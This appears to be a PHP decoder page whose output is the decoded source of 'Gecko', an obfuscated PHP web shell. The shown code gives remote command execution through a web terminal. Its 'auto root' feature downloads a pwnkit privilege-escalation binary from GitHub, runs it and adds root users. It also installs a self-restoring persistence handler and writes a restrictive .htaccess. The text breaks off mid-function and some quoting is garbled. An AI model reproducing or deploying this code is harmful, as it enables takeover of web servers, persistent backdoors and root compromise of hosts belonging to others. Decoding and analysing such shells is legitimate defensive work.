Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
\n\n\n\x3chead\x3e\n\x20 \x20\x20\x3cm\x65ta c\x68ars\x65t\x3d\"U\x54F-8\">\n \x20 \n \x20..
Decoded Output download
<?
<head>
<meta charset=\"UTF-8\">
<title>Gecko [ "; echo $_SERVER["SERVER_NAME"]; echo " ]"; echo " </div>
</ul>
<table style="width: 100%;">
<thead>
<th>Name</th>
<th>SizeAction</th>
<form action=\"\" method="post">
<tbody>
<!-- Gecko Folder File Manager -->
"; foreach (${${"GLOBALS"}["ojrxlurnj"]} as ${${"GLOBALS"}["dhvaoy"]}) { $pywhhkgke = "fungsi"; echo " "; if (${$pywhhkgke}[2](${${"GLOBALS"}["cukzglotbx"]})) { echo " <tr>
<td><input type=\"checkbox" name=\"check[]" value=\""; echo ${${"GLOBALS"}["cukzglotbx"]}; $ehsvypxf = "_D"; echo "\"> "; echo ${$puqomzystyu}; echo "</a>
<td>[ DIR ]</td>
<td>
"; ${"GLOBALS"}["sixbple"] = "fungsi"; $nlocfdtif = "_D"; if (${${"GLOBALS"}["snxjpduol"]}[4](${${"GLOBALS"}["snxjpduol"]}[0]() . "/" . ${${"GLOBALS"}["cukzglotbx"]})) { echo "<font color="#00ff00\">"; } elseif (!${${"GLOBALS"}["snxjpduol"]}[5](${${"GLOBALS"}["snxjpduol"]}[0]() . "/" . ${${"GLOBALS"}["cukzglotbx"]})) { echo "<font color="red\">"; } echo perms(${${"GLOBALS"}["snxjpduol"]}[0]() . "/" . ${$nlocfdtif}); echo " </td>
<!-- Action Folder Manager -->
<td><a href=\"?d="; echo hx(${${"GLOBALS"}["snxjpduol"]}[0]()); echo "&re="; echo hx(${$ehsvypxf}); echo "\" class="badge-action-editor"></i></a> <i class=\"fa-solid fa-user-pen"></a></td>
</tr>
"; } echo "
"; } echo "
<i class=\"fa-solid fa-pen-to-square\"></i><i class=\"fa-solid fa-user-pen"></i></a> <a href="?d="; echo hx(${$dmbkcmjxgn}[0]()); echo "&don="; echo hx(${${"GLOBALS"}["ennttlkad"]}); echo "\" class=\"badge-action-download\"><i class=\"fa-solid fa-download\">
"; } echo "
"; } echo "
<br>
<option value=\"unzip">Unzip</option>
<option value="zip">Zip
<input type="submit\" name="submit-action" value="Submit\" class="btn-submit\" style=\"padding: 8.3px 35px;\">
</form>
<!-- Modal Pop Jquery Create Folder/File By ./MrMad -->
<div class=\"modal">
<div class=\"modal-container\">
<div class=\"modal-header">
<h3><b><i id="modal-title\">\${this.title}</i></b></h3>
<div class="modal-body\">
<form action="\" method=\"post">
<span id=\"modal-input"></span>
<div class=\"modal-btn-form\">
<input type=\"submit\" name=\"submit" value=\"Submit\" class="btn-modal-close box-shadow\"> <button class=\"btn-modal-close box-shadow\" id="close-modal">Close
<div class=\"code-editor-head\">
<i class="fa-solid fa-code"></i> Code Editor : "; echo unx($_GET["f"]); echo "</h3>
</div>
<div class="code-editor-body\">
<form action="\" method="post">
<textarea name=\"code-editor" class=\"box-shadow" autofocus>"; echo ${${"GLOBALS"}["snxjpduol"]}[10](${${"GLOBALS"}["snxjpduol"]}[11](${${"GLOBALS"}["snxjpduol"]}[0]() . "/" . unx($_GET["f"]))); echo "Close
</div>
</div>
"; } echo "
"; if (isset($_GET["terminal"])) { echo " <div class=\"terminal\">
<div class=\"terminal-container">
<div class=\"terminal-head\">
<ul>
<li id=\"terminal-title"><b> TERMINAL</li>
<a href=\"" class=\"close-terminal"><i class=\"fa-solid fa-right-from-bracket\"></i></a></li>
</ul>
<textarea class=\"box-shadow" disabled>"; if (isset($_POST["terminal"])) { echo ${${"GLOBALS"}["snxjpduol"]}[10](cmd($_POST["terminal-text"] . " 2>&1")); } echo "</textarea>
<li>" class=\"btn-modal-close">
</div>
"; } echo "
"; if ($_GET["terminal"] == "root") { $odogsyuij = "fungsi"; echo "
<div class="terminal-container">
<div class="terminal-head">
<ul>
<li id=\"terminal-title"><b><i class=\"fa-solid fa-terminal"> AUTO ROOT</li>
<li><i class="fa-solid fa-right-from-bracket"></i></a></li>
</ul>
</div>
<div class="terminal-body\">
<textarea name=\"" disabled>"; if (${$odogsyuij}[3](".mad-root") && ${${"GLOBALS"}["snxjpduol"]}[3]("pwnkit")) { $ewmuqcvmm = "response"; ${"GLOBALS"}["rimeshj"] = "fungsi"; ${$ewmuqcvmm} = ${${"GLOBALS"}["rimeshj"]}[11](".mad-root"); ${"GLOBALS"}["pnrucfmkpr"] = "r_text"; ${${"GLOBALS"}["ideydyre"]} = explode(" ", ${${"GLOBALS"}["iwwhffu"]}); if (${${"GLOBALS"}["pnrucfmkpr"]}[0] == "uid=0(root)") { if (isset($_POST["submit-root"])) { echo cmd("./pwnkit "" . $_POST["root-terminal"] . " 2>&1""); } } else { echo "This Device Is Not Vulnerable
"; echo cmd("lsb_release -a") . "
"; echo "Kernel Version : " . suggest_exploit() . "
"; } } else { ${${"GLOBALS"}["snxjpduol"]}[24](".mad-root"); } echo "<input type=\"text\" name="root-terminal" class=\"terminal-input" placeholder=\""; echo "root" . "@" . $_SERVER["SERVER_ADDR"]; echo "\" autofocus>
<li><input type=\"submit\" name=\"submit-root\" value=">" class=\"btn-modal-close\"></li>
</ul>
</form>
</div>
</div>
"; } echo "
"; if ($_GET["re"] == true) { echo " <div class=\"modal active">
<div class=\"modal-container">
<div class=\"modal-header">
<h3><b>Rename : "; echo unx($_GET["re"]); echo "</b></h3>
<span id="modal-input"><input type="text\" name="renameFile\" class="modal-create-input\" placeholder="Rename\">
<input type="submit" name="submit\" value="Submit\" class=\"btn-modal-close box-shadow\"> <button class="btn-modal-close box-shadow close-btn-s\">Close
</div>
</div>
<h3><i id="modal-title\">Change Permission : "; echo unx($_GET["ch"]); echo "</i></b></h3>
</div>
<input type="number\" name="chFile" class=\"modal-create-input" placeholder="0775"></span>
<button class="btn-modal-close box-shadow close-btn-s">Close
</div>
</div>
</div>
"; } echo "
<script>
\$(document).ready(function() {
\$('#create_folder').click(function() {
\$('.modal').show();
\$('#modal-title').html('<i class=\"fa-solid fa-folder-plus\"></i> Create Folder');
\$('#modal-input').html('<input type=\"text\" name=\"create_folder" class="modal-create-input" placeholder=\"Create Folder">');
event.preventDefault();
});
\$('#create_file').click(function() {
\$('.modal').show();
\$('#modal-title').html(' Create File');
\$('#modal-input').html('<input type="text\" name="create_file" class=\"modal-create-input\" placeholder="Create File">');
event.preventDefault();
});
\$('#lock-file').click(function() {
\$('.modal').show();
\$('#modal-title').html('<i class=\"fa-solid fa-lock\"></i> ADD USER');
\$('#modal-input').html('<input type="text" name="add-username\" class="modal-create-input" placeholder=\"Username\">
');
event.preventDefault();
});
\$('#close-modal').click(function() {
\$('.modal').hide();
event.preventDefault();
});
\$('#close-editor').click(function() {
\$('.code-editor').hide();
event.preventDefault();
});
\$('.close-terminal').click(function() {
\$('.terminal').hide();
event.preventDefault();
});
\$('.close-btn-s').click(function() {
\$('.modal').hide();
event.preventDefault();
});
});
</script>
</body>
"; if (isset($_GET["lockshell"])) { $utqmnnk = "curFile"; $jknnjceqxq = "TmpNames"; ${"GLOBALS"}["qmlakymll"] = "TmpNames"; $isohmvpx = "curFile"; $zvtyjjr = "hndlers"; ${"GLOBALS"}["ytpsdrzovm"] = "TmpNames"; $dbpnkmsfi = "fungsi"; $bdoupnyyd = "TmpNames"; ${"GLOBALS"}["utpijttxc"] = "curFile"; ${"GLOBALS"}["pkbruqy"] = "TmpNames"; ${"GLOBALS"}["jmvkaguf"] = "fungsi"; ${"GLOBALS"}["xhlfiasj"] = "fungsi"; $ynojlolnjc = "curFile"; ${${"GLOBALS"}["vfuhqrqrce"]} = trim(basename($_SERVER["SCRIPT_FILENAME"])); ${${"GLOBALS"}["nfodbdej"]} = ${${"GLOBALS"}["snxjpduol"]}[31](); if (file_exists(${${"GLOBALS"}["pkbruqy"]} . "/.sessions/." . base64_encode(${${"GLOBALS"}["snxjpduol"]}[0]() . remove_dot(${$utqmnnk}) . "-handler")) && file_exists(${${"GLOBALS"}["nfodbdej"]} . "/.sessions/." . base64_encode(${${"GLOBALS"}["xhlfiasj"]}[0]() . remove_dot(${$ynojlolnjc}) . "-text"))) { ${"GLOBALS"}["bmvgwnxbcio"] = "curFile"; ${"GLOBALS"}["cmtlkbi"] = "curFile"; ${"GLOBALS"}["awjjksll"] = "TmpNames"; $btcufyjqga = "fungsi"; cmd("rm -rf " . ${${"GLOBALS"}["awjjksll"]} . "/.sessions/." . base64_encode(${$btcufyjqga}[0]() . remove_dot(${${"GLOBALS"}["bmvgwnxbcio"]}) . "-text")); cmd("rm -rf " . ${${"GLOBALS"}["nfodbdej"]} . "/.sessions/." . base64_encode(${${"GLOBALS"}["snxjpduol"]}[0]() . remove_dot(${${"GLOBALS"}["cmtlkbi"]}) . "-handler")); } $enznadbms = "curFile"; ${"GLOBALS"}["adfvwfpqx"] = "handler"; $jadnlsj = "curFile"; mkdir(${${"GLOBALS"}["qmlakymll"]} . "/.sessions"); cmd("cp $curFile " . ${$jknnjceqxq} . "/.sessions/." . base64_encode(${${"GLOBALS"}["snxjpduol"]}[0]() . remove_dot(${${"GLOBALS"}["vfuhqrqrce"]}) . "-text")); $ehhejlebpl = "fungsi"; chmod(${${"GLOBALS"}["vfuhqrqrce"]}, 0444); $lkbiqkuwg = "fungsi"; ${${"GLOBALS"}["adfvwfpqx"]} = "
<?php
@ini_set("max_execution_time\", 0);
while (True){
if (!file_exists("" . __DIR__ . "\")){
mkdir("" . __DIR__ . "\");
}
if (!file_exists(\"" . ${$lkbiqkuwg}[0]() . "/" . ${${"GLOBALS"}["vfuhqrqrce"]} . "")){
\$text = base64_encode(file_get_contents(\"" . ${${"GLOBALS"}["ytpsdrzovm"]} . "/.sessions/." . base64_encode(${$ehhejlebpl}[0]() . remove_dot(${$jadnlsj}) . "-text") . ""));
file_put_contents(\"" . ${${"GLOBALS"}["snxjpduol"]}[0]() . "/" . ${${"GLOBALS"}["vfuhqrqrce"]} . "", base64_decode(\$text));
}
if (gecko_perm(\"" . ${$dbpnkmsfi}[0]() . "/" . ${$enznadbms} . "\") != 0444){
chmod(\"" . ${${"GLOBALS"}["snxjpduol"]}[0]() . "/" . ${$isohmvpx} . "", 0444);
}
}
function gecko_perm(\$flename){
return substr(sprintf("%o\", fileperms(\$flename)), -4);
}
"; $nbxxth = "hndlers"; ${$zvtyjjr} = ${${"GLOBALS"}["jmvkaguf"]}[28](${$bdoupnyyd} . "/.sessions/." . base64_encode(${${"GLOBALS"}["snxjpduol"]}[0]() . remove_dot(${${"GLOBALS"}["utpijttxc"]}) . "-handler") . "", ${${"GLOBALS"}["vogxys"]}); if (${$nbxxth}) { ${"GLOBALS"}["crgdxzpu"] = "fungsi"; cmd("php " . ${${"GLOBALS"}["nfodbdej"]} . "/.sessions/." . base64_encode(${${"GLOBALS"}["crgdxzpu"]}[0]() . remove_dot(${${"GLOBALS"}["vfuhqrqrce"]}) . "-handler") . " > /dev/null 2>/dev/null &"); } else { failed(); } } if (isset($_POST["gecko-up-submit"])) { $ovodrch = "fungsi"; ${"GLOBALS"}["dblstedt"] = "tmpName"; ${"GLOBALS"}["ykovngbq"] = "tmpName"; ${${"GLOBALS"}["tskfcwedkdet"]} = $_FILES["gecko-upload"]["name"]; ${${"GLOBALS"}["ykovngbq"]} = $_FILES["gecko-upload"]["tmp_name"]; if (${$ovodrch}[29](${${"GLOBALS"}["dblstedt"]}, ${${"GLOBALS"}["snxjpduol"]}[0]() . "/" . ${${"GLOBALS"}["tskfcwedkdet"]})) { success(); } else { failed(); } } if ($_GET["logout"] == True) { session_destroy(); session_unset(); success(); } if (isset($_GET["destroy"])) { $xuucfxmk = "DOC_ROOT"; ${$xuucfxmk} = $_SERVER["DOCUMENT_ROOT"]; $sscohen = "CurrentFile"; ${$sscohen} = trim(basename($_SERVER["SCRIPT_FILENAME"])); if (${${"GLOBALS"}["snxjpduol"]}[4](${${"GLOBALS"}["wiyrtp"]})) { ${"GLOBALS"}["wfwlsa"] = "DOC_ROOT"; ${"GLOBALS"}["gxytrvgtc"] = "htaccess"; ${${"GLOBALS"}["yyxroabywchy"]} = "
Deny from all
<FilesMatch \"^(" . ${${"GLOBALS"}["xpixzuvernku"]} . "|index.php|wp-config.php|wp-includes.php)\$">
Allow from all
</FilesMatch>
<FilesMatch \"\.(jpg|png|gif|pdf|jpeg)\$\">
Allow from all
</FilesMatch>"; ${"GLOBALS"}["xbvdxflvcc"] = "put_htt"; ${"GLOBALS"}["mgsqrjmx"] = "fungsi"; $umjimuogf = "put_htt"; ${${"GLOBALS"}["xbvdxflvcc"]} = ${${"GLOBALS"}["mgsqrjmx"]}[28](${${"GLOBALS"}["wfwlsa"]} . "/.htaccess", ${${"GLOBALS"}["gxytrvgtc"]}); if (${$umjimuogf}) { success(); } else { failed(); } } else { failed(); } } if (isset($_POST["save-editor"])) { ${"GLOBALS"}["qlquuf"] = "save"; ${"GLOBALS"}["pcqiaeue"] = "save"; ${"GLOBALS"}["helvhc"] = "fungsi"; $blekadey = "fungsi"; ${${"GLOBALS"}["pcqiaeue"]} = ${${"GLOBALS"}["helvhc"]}[28](${$blekadey}[0]() . "/" . unx($_GET["f"]), $_POST["code-editor"]); if (${${"GLOBALS"}["qlquuf"]}) { success(); } else { failed(); } } if (isset($_GET["adminer"])) { ${"GLOBALS"}["oichbkmzrll"] = "fungsi"; ${"GLOBALS"}["jcvjybokqux"] = "URL"; ${${"GLOBALS"}["jcvjybokqux"]} = "https://github.com/vrana/adminer/releases/download/v4.8.1/adminer-4.8.1.php"; if (!${${"GLOBALS"}["oichbkmzrll"]}[3]("adminer.php")) { $cobwbfqqduim = "fungsi"; $kvjkcnn = "URL"; cmd("wget " . ${$kvjkcnn} . " -O adminer.php --quiet"); echo ""; } } if ($_GET["terminal"] == "root") { ${"GLOBALS"}["rfwqmutpdy"] = "fungsi"; if (!${${"GLOBALS"}["rfwqmutpdy"]}[3]("pwnkit")) { cmd("wget https://github.com/MadExploits/Privelege-escalation/raw/main/pwnkit -O pwnkit"); ${"GLOBALS"}["tnjtxafjygt"] = "fungsi"; cmd("chmod +x pwnkit"); echo cmd("./pwnkit id > .mad-root"); echo ""; } } if (isset($_POST["submit-action"])) { $dvyggfaifhal = "items"; ${$dvyggfaifhal} = $_POST["check"]; if ($_POST["gecko-select"] == "delete") { foreach (${${"GLOBALS"}["wsmiqmj"]} as ${${"GLOBALS"}["hcoospnffxw"]}) { ${"GLOBALS"}["gybkrqfv"] = "fd"; $hflksuh = "fd"; $blcjto = "fd"; $hrlurq = "fungsi"; ${"GLOBALS"}["zujcwhq"] = "repl"; ${${"GLOBALS"}["gsulzioh"]} = str_replace("\", "/", ${$hrlurq}[0]()); ${${"GLOBALS"}["gybkrqfv"]} = ${${"GLOBALS"}["zujcwhq"]} . "/" . ${${"GLOBALS"}["hcoospnffxw"]}; if (is_dir(${$blcjto}) || is_file(${$hflksuh})) { $gnetoshcg = "fd"; ${"GLOBALS"}["yzhtwsn"] = "fd"; $ivhfruxuecjx = "rmdir"; ${${"GLOBALS"}["nfnomta"]} = unlinkDir(${$gnetoshcg}); ${${"GLOBALS"}["gpqxlxle"]} = ${${"GLOBALS"}["snxjpduol"]}[24](${${"GLOBALS"}["yzhtwsn"]}); if (${$ivhfruxuecjx} || ${${"GLOBALS"}["gpqxlxle"]}) { success(); } else { failed(); } } } } } if (isset($_POST["submit"])) { if ($_POST["create_folder"] == true) { $ypqokprwpmng = "fungsi"; $gdpguhc = "NamaFolder"; ${"GLOBALS"}["nctpkcloa"] = "NamaFolder"; ${${"GLOBALS"}["nctpkcloa"]} = ${$ypqokprwpmng}[12]($_POST["create_folder"]); if (${$gdpguhc}) { success(); } else { failed(); } } else if ($_POST["create_file"] == true) { $uvybcnskmbw = "namaFile"; ${"GLOBALS"}["blvdfqohru"] = "fungsi"; ${"GLOBALS"}["qrdxikgzs"] = "namaFile"; ${${"GLOBALS"}["qrdxikgzs"]} = ${${"GLOBALS"}["blvdfqohru"]}[13]($_POST["create_file"]); if (${$uvybcnskmbw}) { success(); } else { failed(); } } else if ($_POST["renameFile"] == true) { $ydnfxcqunmh = "renameFile"; ${$ydnfxcqunmh} = ${${"GLOBALS"}["snxjpduol"]}[15](unx($_GET["re"]), $_POST["renameFile"]); if (${${"GLOBALS"}["qhxnggsf"]}) { success(); } else { failed(); } } else if ($_POST["chFile"]) { $wgnsecqi = "chFiles"; ${${"GLOBALS"}["ooftqvks"]} = ${${"GLOBALS"}["snxjpduol"]}[30](unx($_GET["ch"]), $_POST["chFile"]); if (${$wgnsecqi}) { success(); } else { failed(); } } else if (isset($_POST["add-username"]) && isset($_POST["add-password"])) { ${"GLOBALS"}["hxwkojkq"] = "fungsi"; if (!${${"GLOBALS"}["hxwkojkq"]}[3]("pwnkit")) { cmd("wget https://github.com/MadExploits/Privelege-escalation/raw/main/pwnkit -O pwnkit"); cmd("chmod +x pwnkit"); ${"GLOBALS"}["sqwlnasx"] = "fungsi"; cmd("./pwnkit \"id\" > .mad-root"); echo "<meta http-equiv="refresh" content=\"0;url=?d=" . hx(${${"GLOBALS"}["sqwlnasx"]}[0]()) . "&rooting=True">"; } else if (${${"GLOBALS"}["snxjpduol"]}[3](".mad-root")) { $cbzwrut = "response"; ${$cbzwrut} = ${${"GLOBALS"}["snxjpduol"]}[11](".mad-root"); $eshdcuwg = "response"; ${${"GLOBALS"}["ideydyre"]} = explode(" ", ${$eshdcuwg}); if (${${"GLOBALS"}["ideydyre"]}[0] == "uid=0(root)") { $snjesqrgx = "username"; ${${"GLOBALS"}["fqwhcuj"]} = $_POST["add-username"]; ${"GLOBALS"}["wupnbhiku"] = "username"; ${${"GLOBALS"}["ohmuswhkxx"]} = $_POST["add-password"]; cmd("./pwnkit "useradd " . ${${"GLOBALS"}["wupnbhiku"]} . " ; echo -e "" . ${${"GLOBALS"}["ohmuswhkxx"]} . "
" . ${${"GLOBALS"}["ohmuswhkxx"]} . "\" | passwd " . ${$snjesqrgx} . "\""); } else { echo "<meta http-equiv=\"refresh\" content="0;url=?d=" . hx(${${"GLOBALS"}["snxjpduol"]}[0]()) . "&adduser=failed">"; } } } else if ($_POST["lockfile"] == true) { ${"GLOBALS"}["hgdortc"] = "hndlers"; $cxichofrfpho = "hndlers"; ${"GLOBALS"}["wupvrlsyhjk"] = "handler"; $jjwvypro = "flesName"; $moysjvktwc = "fungsi"; ${"GLOBALS"}["tneuvl"] = "fungsi"; $gnyihl = "flesName"; ${"GLOBALS"}["dljidwsezi"] = "TmpNames"; $gekesqmsi = "flesName"; $wzsgwh = "flesName"; $rsebcsqvk = "fungsi"; ${"GLOBALS"}["cduzexfwcry"] = "TmpNames"; $yyhjqlb = "fungsi"; $yvfdddxa = "fungsi"; ${$jjwvypro} = $_POST["lockfile"]; ${${"GLOBALS"}["dljidwsezi"]} = ${${"GLOBALS"}["snxjpduol"]}[31](); $rzhnqvtsnc = "flesName"; if (file_exists(${${"GLOBALS"}["nfodbdej"]} . "/.sessions/." . base64_encode(${$rsebcsqvk}[0]() . remove_dot(${${"GLOBALS"}["vhimbugtql"]}) . "-handler")) && file_exists(${${"GLOBALS"}["nfodbdej"]} . "/.sessions/." . remove_dot(${$wzsgwh}) . "-text")) { $rlgzkhpyjs = "fungsi"; ${"GLOBALS"}["diqyijl"] = "TmpNames"; $vdjkeffd = "fungsi"; cmd("rm -rf " . ${${"GLOBALS"}["diqyijl"]} . "/.sessions/." . base64_encode(${$vdjkeffd}[0]() . remove_dot(${${"GLOBALS"}["vhimbugtql"]}) . "-text-file")); cmd("rm -rf " . ${${"GLOBALS"}["nfodbdej"]} . "/.sessions/." . base64_encode(${$rlgzkhpyjs}[0]() . remove_dot(${${"GLOBALS"}["vhimbugtql"]}) . "-handler")); } mkdir(${${"GLOBALS"}["nfodbdej"]} . "/.sessions"); ${"GLOBALS"}["vbpycrxw"] = "flesName"; ${"GLOBALS"}["vqwwmxfkebq"] = "fungsi"; cmd("cp $flesName " . ${${"GLOBALS"}["nfodbdej"]} . "/.sessions/." . base64_encode(${${"GLOBALS"}["snxjpduol"]}[0]() . remove_dot(${$rzhnqvtsnc}) . "-text-file")); chmod(${$gnyihl}, 0444); ${${"GLOBALS"}["wupvrlsyhjk"]} = "
<?php
@ini_set("max_execution_time", 0);
while (True){
if (!file_exists("" . ${$yvfdddxa}[0]() . "")){
mkdir(\"" . ${${"GLOBALS"}["snxjpduol"]}[0]() . "");
}
if (!file_exists("" . ${${"GLOBALS"}["tneuvl"]}[0]() . "/" . ${${"GLOBALS"}["vhimbugtql"]} . "\")){
\$text = base64_encode(file_get_contents(\"" . ${${"GLOBALS"}["nfodbdej"]} . "/.sessions/." . base64_encode(${${"GLOBALS"}["snxjpduol"]}[0]() . remove_dot(${${"GLOBALS"}["vhimbugtql"]}) . "-text-file") . "\"));
file_put_contents(\"" . ${$moysjvktwc}[0]() . "/" . ${$gekesqmsi} . "\", base64_decode(\$text));
}
if (gecko_perm(\"" . ${${"GLOBALS"}["snxjpduol"]}[0]() . "/" . ${${"GLOBALS"}["vhimbugtql"]} . "") != 0444){
chmod(\"" . ${${"GLOBALS"}["vqwwmxfkebq"]}[0]() . "/" . ${${"GLOBALS"}["vbpycrxw"]} . "\", 0444);
}
}
function gecko_perm(\$flename){
return substr(sprintf(\"%o", fileperms(\$flename)), -4);
}
"; ${${"GLOBALS"}["hgdortc"]} = ${$yyhjqlb}[28](${${"GLOBALS"}["cduzexfwcry"]} . "/.sessions/." . base64_encode(${${"GLOBALS"}["snxjpduol"]}[0]() . remove_dot(${${"GLOBALS"}["vhimbugtql"]}) . "-handler") . "", ${${"GLOBALS"}["vogxys"]}); if (${$cxichofrfpho}) { cmd("php " . ${${"GLOBALS"}["nfodbdej"]} . "/.sessions/." . base64_encode(${${"GLOBALS"}["snxjpduol"]}[0]() . remove_dot(${${"GLOBALS"}["vhimbugtql"]}) . "-handler") . " > /dev/null 2>/dev/null &"); } else { failed(); } } } function success() { echo "<meta http-equiv=\"refresh\" content=\"0;url=?d=" . hx($GLOBALS["fungsi"][0]()) . "&response=success\">"; } function failed() { echo "<meta http-equiv="refresh\" content=\"0;url=?d=" . hx($GLOBALS["fungsi"][0]()) . "&response=failed">"; } function formatSize($bytes) { $irgjoi = "types"; ${"GLOBALS"}["dipopqio"] = "bytes"; ${$irgjoi} = array("<span class="file-size">B", "<span class="file-size">MB</span>", "GB"); for (${${"GLOBALS"}["syglgogire"]} = 0; ${${"GLOBALS"}["vrqmqvvo"]} >= 1024 && ${${"GLOBALS"}["syglgogire"]} < (count(${${"GLOBALS"}["tljbiml"]}) - 1); ${${"GLOBALS"}["dipopqio"]} /= 1024, ${${"GLOBALS"}["syglgogire"]}++); return (round(${${"GLOBALS"}["vrqmqvvo"]}, 2) . " " . ${${"GLOBALS"}["tljbiml"]}[${${"GLOBALS"}["syglgogire"]}]); } function hx($n) { $letvlrhlzxe = "i"; $acfpucvhvd = "i"; ${${"GLOBALS"}["xcntuxiflw"]} = ""; for (${$letvlrhlzxe} = 0; ${$acfpucvhvd} < strlen(${${"GLOBALS"}["qhksqaif"]}); ${${"GLOBALS"}["syglgogire"]}++) { ${${"GLOBALS"}["xcntuxiflw"]} .= dechex(ord(${${"GLOBALS"}["qhksqaif"]}[${${"GLOBALS"}["syglgogire"]}])); } return ${${"GLOBALS"}["xcntuxiflw"]}; } function unx($y) { ${"GLOBALS"}["evbpwnu"] = "y"; ${${"GLOBALS"}["qhksqaif"]} = ""; ${"GLOBALS"}["lneggsfybz"] = "i"; for (${${"GLOBALS"}["lneggsfybz"]} = 0; ${${"GLOBALS"}["syglgogire"]} < strlen(${${"GLOBALS"}["evbpwnu"]}) - 1; ${${"GLOBALS"}["syglgogire"]} += 2) { $dsskas = "i"; $fznghhqgmy = "y"; $wsgjklsdlmh = "y"; ${${"GLOBALS"}["qhksqaif"]} .= chr(hexdec(${$wsgjklsdlmh}[${$dsskas}] . ${$fznghhqgmy}[${${"GLOBALS"}["syglgogire"]} + 1])); } return ${${"GLOBALS"}["qhksqaif"]}; } function suggest_exploit() { ${"GLOBALS"}["dgzbftzjuwo"] = "uname"; $scgjesnbs = "uname"; ${"GLOBALS"}["qfjupzstsx"] = "xpld"; $qethrlp = "pl"; ${${"GLOBALS"}["dgzbftzjuwo"]} = $GLOBALS["fungsi"][8](); ${"GLOBALS"}["kdimvnzsdr"] = "pl"; ${${"GLOBALS"}["xvbovn"]} = explode(" ", ${$scgjesnbs}); ${${"GLOBALS"}["ivoqwpbeyh"]} = explode("-", ${${"GLOBALS"}["xvbovn"]}[2]); ${$qethrlp} = explode(".", ${${"GLOBALS"}["qfjupzstsx"]}[0]); return ${${"GLOBALS"}["yxxjlgbcy"]}[0] . "." . ${${"GLOBALS"}["yxxjlgbcy"]}[1] . "." . ${${"GLOBALS"}["kdimvnzsdr"]}[2]; } function s() { $vdgikwqorbx = "d0mains"; ${$vdgikwqorbx} = @$GLOBALS["fungsi"][7]("/etc/named.conf", false); if (!${${"GLOBALS"}["myqqvzxfwnl"]}) { $xrxbnliohoq = "dom"; ${$xrxbnliohoq} = "Cant Read [ /etc/named.conf ]"; $GLOBALS["need_to_update_header"] = "true"; } else { ${"GLOBALS"}["mrvtghyqwu"] = "dom"; ${"GLOBALS"}["qpclqku"] = "d0mains"; ${${"GLOBALS"}["exkwiu"]} = 0; foreach (${${"GLOBALS"}["qpclqku"]} as ${${"GLOBALS"}["jbxzmvsqntn"]}) { ${"GLOBALS"}["chxwvcxjp"] = "d0main"; if (@strstr(${${"GLOBALS"}["chxwvcxjp"]}, "zone")) { ${"GLOBALS"}["mwehtriwwmy"] = "domains"; $rvjwavibhni = "domains"; preg_match_all("#zone "(.*)\"#", ${${"GLOBALS"}["jbxzmvsqntn"]}, ${$rvjwavibhni}); flush(); if (strlen(trim(${${"GLOBALS"}["mwehtriwwmy"]}[1][0])) > 2) { flush(); ${${"GLOBALS"}["exkwiu"]}++; } } } ${${"GLOBALS"}["mrvtghyqwu"]} = "$count Domain"; } return ${${"GLOBALS"}["tcirhful"]}; } function cmd($in, $re = false) { ${${"GLOBALS"}["ftlwdhcjjlb"]} = ""; try { $hvwbptfprwq = "in"; if (${${"GLOBALS"}["ylnznsnqbkvh"]}) ${${"GLOBALS"}["oplcdvp"]} = ${$hvwbptfprwq} . " 2>&1"; if (function_exists("exec")) { @$GLOBALS["fungsi"][16](${${"GLOBALS"}["oplcdvp"]}, ${${"GLOBALS"}["ftlwdhcjjlb"]}); ${"GLOBALS"}["dcgyuqbn"] = "out"; ${${"GLOBALS"}["dcgyuqbn"]} = @join("
", ${${"GLOBALS"}["ftlwdhcjjlb"]}); } elseif (function_exists("passthru")) { $zbxdghsew = "out"; ob_start(); @$GLOBALS["fungsi"][17](${${"GLOBALS"}["oplcdvp"]}); ${$zbxdghsew} = ob_get_clean(); } elseif (function_exists("system")) { $npbiyvsnodo = "in"; ob_start(); @$GLOBALS["fungsi"][18](${$npbiyvsnodo}); ${${"GLOBALS"}["ftlwdhcjjlb"]} = ob_get_clean(); } elseif (function_exists("shell_exec")) { $djxmmjga = "in"; ${${"GLOBALS"}["ftlwdhcjjlb"]} = $GLOBALS["fungsi"][19](${$djxmmjga}); } elseif (function_exists("popen") && function_exists("pclose")) { ${"GLOBALS"}["cnfoyrl"] = "in"; if (is_resource(${${"GLOBALS"}["rwpikbcwrgi"]} = @$GLOBALS["fungsi"][20](${${"GLOBALS"}["cnfoyrl"]}, "r"))) { ${"GLOBALS"}["qkzcmqqkfk"] = "f"; ${"GLOBALS"}["ituqznedgim"] = "f"; ${${"GLOBALS"}["ftlwdhcjjlb"]} = ""; ${"GLOBALS"}["gflvxsrnfo"] = "out"; while (!@feof(${${"GLOBALS"}["rwpikbcwrgi"]})) ${${"GLOBALS"}["gflvxsrnfo"]} .= fread(${${"GLOBALS"}["ituqznedgim"]}, 1024); $GLOBALS["fungsi"][21](${${"GLOBALS"}["qkzcmqqkfk"]}); } } elseif (function_exists("proc_open")) { $ujcfwptmp = "in"; ${"GLOBALS"}["xakxtubpwf"] = "pipes"; ${"GLOBALS"}["hopxspef"] = "process"; $ubbytmnb = "out"; ${${"GLOBALS"}["xakxtubpwf"]} = array(); ${${"GLOBALS"}["hopxspef"]} = @$GLOBALS["fungsi"][23](${$ujcfwptmp} . " 2>&1", array(array("pipe", "w"), array("pipe", "w"), array("pipe", "w")), ${${"GLOBALS"}["yqdkwiyd"]}, null); ${$ubbytmnb} = @$GLOBALS["fungsi"][22](${${"GLOBALS"}["yqdkwiyd"]}[1]); } elseif (class_exists("COM")) { $gplhjlxmqncr = "alfaWs"; ${"GLOBALS"}["twqksukbvd"] = "stdout"; ${$gplhjlxmqncr} = new COM("WScript.shell"); ${${"GLOBALS"}["exvqbodeqcc"]} = $alfaWs->$GLOBALS["fungsi"][16]("cmd.exe /c " . $_POST["alfa1"]); ${${"GLOBALS"}["twqksukbvd"]} = $exec->StdOut(); ${${"GLOBALS"}["ftlwdhcjjlb"]} = $stdout->ReadAll(); } } catch (Exception $e) { } return $out; } function unlinkDir($dir) { $mxcxuhqbgj = "i"; ${${"GLOBALS"}["hoapkwhmi"]} = array(${${"GLOBALS"}["njgztpho"]}); ${${"GLOBALS"}["sotsubd"]} = array(); $noonhxdh = "dir"; ${"GLOBALS"}["wbptvix"] = "dirs"; for (${${"GLOBALS"}["syglgogire"]} = 0;; ${$mxcxuhqbgj}++) { ${"GLOBALS"}["pdcflzb"] = "dirs"; if (isset(${${"GLOBALS"}["hoapkwhmi"]}[${${"GLOBALS"}["syglgogire"]}])) ${${"GLOBALS"}["njgztpho"]} = 